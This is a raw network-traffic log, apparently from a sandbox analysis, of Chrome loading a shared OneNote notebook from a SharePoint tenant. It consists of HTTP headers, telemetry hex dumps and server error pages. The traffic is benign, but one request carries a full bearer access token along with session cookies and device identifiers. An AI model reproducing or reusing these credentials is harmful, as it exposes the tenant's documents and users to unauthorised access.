2024-04-26 07:59:34 UTC	552	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 37 33 33 39 32 2c 22 4c 22 3a 5b 7b 22 47 22 3a 36 31 36 30 38 35 36 2c 22 54 22 3a 31 2c 22 4d 22 3a 22 4f 6e 4c 6f 61 64 22 2c 22 43 22 3a 32 30 30 33 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 36 31 36 30 38 35 37 2c 22 54 22 3a 31 2c 22 4d 22 3a 22 55 73 65 72 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 31 37 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 22 2c 22 43 22 3a 32 30 30 33 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 36 34 33 36 36 32 38 2c 22 54 22 3a Data Ascii: {"T":1714118373392,"L":[{"G":6160856,"T":1,"M":"OnLoad","C":2003,"D":50},{"G":6160857,"T":1,"M":"UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","C":2003,"D":50},{"G":6436628,"T":
2024-04-26 07:59:34 UTC	1173	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:59:34 GMT Content-Type: text/plain Content-Length: 0 Connection: close Cache-Control: private X-RoutingOfficeCluster: eus-azsc-000.reverseproxy.onenote.com X-RoutingOfficeFE: ReverseProxyFrontEnd_IN_13 X-RoutingOfficeVersion: 16.0.17621.40450 X-RoutingSessionId: f17f0249-d29a-4865-9b54-493cbe633fbb X-RoutingCorrelationId: c023bbc2-c799-41de-b224-de762fdd9477 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" x-correlationid: c023bbc2-c799-41de-b224-de762fdd9477 x-usersessionid: f17f0249-d29a-4865-9b54-493cbe633fbb x-officefe: AgavesFrontEnd_IN_1 x-officeversion: 16.0.17622.40456 x-officecluster: eus-000.appsforoffice.onenote.com x-partitioning-enabled: true strict-transport-security: max-age=31536000; includeSubDomains; preload x-buls-suppressionetag: N/A x-buls-suppressedtags: x-content-type-options: nosniff x-download-options: noopen content-disposition: attachment x-content-type-options: nosniff x-azure-ref: 20240426T075934Z-17644f8887f4rd5w3b1uwdc9n400000000a000000000282m X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49931	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:34 UTC	3769	OUT	POST /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 40335 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9.ePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC-lGpxzBDH9_YJe9eXoQ3MIJgGNGZp5_8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx_uD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k_Y8zjLO-AXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP_kPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg X-AccessTokenTtl: 1714154349045 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 07:59:34 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 36 33 34 36 32 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 37 30 37 38 37 38 35 30 2c 22 54 22 3a 33 32 30 2c 22 4d 22 3a 22 5b 53 4c 3a 20 31 33 37 36 39 5d 20 7b 5c 22 53 61 4a 53 44 73 70 68 52 64 63 72 73 5f 4a 53 5c 22 3a 7b 5c 22 61 76 67 5c 22 3a 31 34 2e 35 2c 5c 22 74 6f 74 61 6c 5c 22 3a 32 39 2c 5c 22 6d 69 6e 5c 22 3a 32 2e 33 2c 5c 22 6d 61 78 5c 22 3a 32 36 2e 37 2c 5c 22 65 6e 74 72 79 43 6f 75 6e 74 5c 22 3a 32 7d 2c 5c 22 53 61 44 73 70 68 46 75 6c 6c 4a 53 5c 22 3a 7b 5c 22 61 76 67 5c 22 3a 31 36 2e 30 35 2c 5c 22 74 6f 74 61 6c 5c 22 3a 33 32 2e 31 2c 5c 22 6d 69 6e 5c 22 3a 32 2e 36 2c 5c 22 6d 61 78 5c 22 3a 32 39 2e 35 2c 5c 22 65 6e 74 72 79 43 6f 75 6e 74 5c 22 3a 32 7d 2c 5c 22 53 61 44 73 70 68 45 Data Ascii: {"T":1714118363462,"L":[{"G":570787850,"T":320,"M":"[SL: 13769] {\"SaJSDsphRdcrs_JS\":{\"avg\":14.5,\"total\":29,\"min\":2.3,\"max\":26.7,\"entryCount\":2},\"SaDsphFullJS\":{\"avg\":16.05,\"total\":32.1,\"min\":2.6,\"max\":29.5,\"entryCount\":2},\"SaDsphE
2024-04-26 07:59:34 UTC	16384	OUT	Data Raw: 30 34 2c 22 54 22 3a 35 31 30 35 2c 22 4d 22 3a 22 7b 5c 22 55 72 6c 5c 22 3a 5c 22 68 74 74 70 73 3a 2f 2f 75 73 63 2d 6f 6e 65 6e 6f 74 65 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 2f 61 66 68 73 2f 43 6c 6f 75 64 50 6f 6c 69 63 79 53 65 74 74 69 6e 67 73 2e 61 73 68 78 5c 22 2c 5c 22 49 6e 69 74 69 61 74 6f 72 54 79 70 65 5c 22 3a 5c 22 78 6d 6c 68 74 74 70 72 65 71 75 65 73 74 5c 22 2c 5c 22 52 65 64 69 72 65 63 74 53 74 61 72 74 5c 22 3a 5c 22 30 5c 22 2c 5c 22 52 65 64 69 72 65 63 74 45 6e 64 5c 22 3a 5c 22 30 5c 22 2c 5c 22 46 65 74 63 68 53 74 61 72 74 5c 22 3a 5c 22 31 32 32 30 38 2e 36 5c 22 2c 5c 22 44 6f 6d 61 69 6e 4c 6f 6f 6b 75 70 53 74 61 72 74 5c 22 3a 5c 22 31 32 32 31 35 2e 38 5c 22 2c 5c 22 44 6f 6d 61 69 6e 4c 6f 6f Data Ascii: 04,"T":5105,"M":"{\"Url\":\"https://usc-onenote.officeapps.live.com/afhs/CloudPolicySettings.ashx\",\"InitiatorType\":\"xmlhttprequest\",\"RedirectStart\":\"0\",\"RedirectEnd\":\"0\",\"FetchStart\":\"12208.6\",\"DomainLookupStart\":\"12215.8\",\"DomainLoo
2024-04-26 07:59:34 UTC	7567	OUT	Data Raw: 22 43 22 3a 32 32 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 34 31 34 31 31 30 38 32 2c 22 54 22 3a 36 39 37 35 2c 22 4d 22 3a 22 53 65 6e 64 54 6f 57 6f 72 6b 65 72 41 70 69 20 77 69 74 68 20 6f 74 65 6c 22 2c 22 43 22 3a 32 32 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 37 30 37 38 37 38 35 30 2c 22 54 22 3a 37 31 30 36 2c 22 4d 22 3a 22 5b 53 4c 3a 20 31 38 39 39 32 5d 20 7b 5c 22 42 61 50 6e 74 44 73 70 68 52 41 46 5f 50 6e 74 5c 22 3a 7b 5c 22 61 76 67 5c 22 3a 31 38 2e 34 2c 5c 22 74 6f 74 61 6c 5c 22 3a 31 38 2e 34 2c 5c 22 6d 69 6e 5c 22 3a 31 38 2e 34 2c 5c 22 6d 61 78 5c 22 3a 31 38 2e 34 2c 5c 22 65 6e 74 72 79 43 6f 75 6e 74 5c 22 3a 31 7d 2c 5c 22 42 61 44 73 70 68 52 64 63 72 73 5c 22 3a 7b 5c 22 61 76 67 5c 22 3a 30 2e 38 2c 5c 22 Data Ascii: "C":226,"D":50},{"G":541411082,"T":6975,"M":"SendToWorkerApi with otel","C":226,"D":50},{"G":570787850,"T":7106,"M":"[SL: 18992] {\"BaPntDsphRAF_Pnt\":{\"avg\":18.4,\"total\":18.4,\"min\":18.4,\"max\":18.4,\"entryCount\":1},\"BaDsphRdcrs\":{\"avg\":0.8,\"
2024-04-26 07:59:35 UTC	1723	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 47ae8bea-713d-4ed8-9e59-de89239a3269 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091C8 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5a&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091C8 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2pfz=afd_wordcapacity_4_control,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_pptcapacity,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_4_control,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 84FE93006FFA4091975AB6D38FF9A328 Ref B: MIA301000102053 Ref C: 2024-04-26T07:59:34Z Date: Fri, 26 Apr 2024 07:59:34 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49937	13.107.246.41	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:35 UTC	366	OUT	GET /officeaddins/RemoteUls.ashx HTTP/1.1 Host: www.onenote.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:35 UTC	1172	IN	HTTP/1.1 500 Date: Fri, 26 Apr 2024 07:59:35 GMT Content-Type: text/html Content-Length: 1208 Connection: close Cache-Control: private X-RoutingOfficeCluster: eus-azsc-000.reverseproxy.onenote.com X-RoutingOfficeFE: ReverseProxyFrontEnd_IN_12 X-RoutingOfficeVersion: 16.0.17621.40450 X-RoutingSessionId: f5a809b4-93de-4de7-8d63-1b0ba105945e X-RoutingCorrelationId: 11ad80e8-1cd8-4173-9a94-e67e91d87765 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" x-correlationid: 11ad80e8-1cd8-4173-9a94-e67e91d87765 x-usersessionid: f5a809b4-93de-4de7-8d63-1b0ba105945e x-officefe: AgavesFrontEnd_IN_1 x-officeversion: 16.0.17622.40456 x-officecluster: eus-000.appsforoffice.onenote.com x-partitioning-enabled: true strict-transport-security: max-age=31536000; includeSubDomains; preload x-buls-suppressionetag: N/A x-buls-suppressedtags: x-invalidulsjson: x-content-type-options: nosniff x-download-options: noopen content-disposition: attachment x-content-type-options: nosniff x-azure-ref: 20240426T075935Z-1865489d5f4b68hj4nmrur3p700000000av0000000007w1z X-Cache: CONFIG_NOCACHE
2024-04-26 07:59:35 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49935	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:35 UTC	888	OUT	GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 07:59:36 UTC	4286	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 24ab69e9-f125-4926-ba8d-e686908ff4e6 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091CC X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5d&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091CC X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice,afd_visioslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 7BED83D8D3DC42659812B1404267AFA4 Ref B: MIA301000108045 Ref C: 2024-04-26T07:59:35Z Date: Fri, 26 Apr 2024 07:59:35 GMT Connection: close
2024-04-26 07:59:36 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49948	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:40 UTC	706	OUT	POST /suite/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: common.online.office.com Connection: keep-alive Content-Length: 704 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:40 UTC	704	OUT	Data Raw: 7b 22 64 22 3a 7b 22 61 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 62 22 3a 22 65 6e 2d 55 53 22 2c 22 63 22 3a 22 55 6e 69 66 69 65 64 55 69 48 6f 73 74 22 2c 22 64 22 3a 22 55 4e 49 46 49 45 44 55 49 48 4f 53 54 22 2c 22 6a 22 3a 22 32 30 32 34 30 34 32 34 2e 31 22 2c 22 72 22 3a 66 61 6c 73 65 2c 22 73 22 3a 22 22 2c 22 77 22 3a 22 64 31 39 65 30 35 34 31 2d 35 39 63 35 2d 39 61 35 65 2d 38 65 31 30 2d 31 38 64 65 32 32 63 39 31 35 33 66 22 2c 22 78 22 3a 22 53 68 61 72 69 6e 67 2e 43 6c 69 65 6e 74 52 65 64 69 72 65 63 74 22 2c 22 79 22 3a 22 39 66 35 61 65 35 65 30 2d 66 34 36 38 2d 34 34 63 32 2d 38 62 61 61 2d 65 36 65 37 62 63 33 36 63 37 31 30 22 2c 22 7a 22 3a 22 73 68 61 72 65 70 6f 69 6e 74 63 6f 6d 22 2c 22 61 63 22 3a 22 64 6f 63 61 73 70 78 22 Data Ascii: {"d":{"a":"OneNote","b":"en-US","c":"UnifiedUiHost","d":"UNIFIEDUIHOST","j":"20240424.1","r":false,"s":"","w":"d19e0541-59c5-9a5e-8e10-18de22c9153f","x":"Sharing.ClientRedirect","y":"9f5ae5e0-f468-44c2-8baa-e6e7bc36c710","z":"sharepointcom","ac":"docaspx"
2024-04-26 07:59:41 UTC	1182	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: PUS3-ARRAffinity=d177b26d22f03fe1971428782284465c8c900c4149ab4de2fd837eea1adb76a3;Path=/;Domain=common.online.office.com; samesite=none; secure X-CorrelationId: 9e2241f3-d629-4857-b2f2-2be476512769 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 X-OfficeFE: BN3PEPF00005200 X-OfficeVersion: 16.0.17614.41006 X-OfficeCluster: PUS3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: BN3PEPF00009454 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_excelslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: AD482A0A6F5A40CF9F6D0CC7D004C568 Ref B: 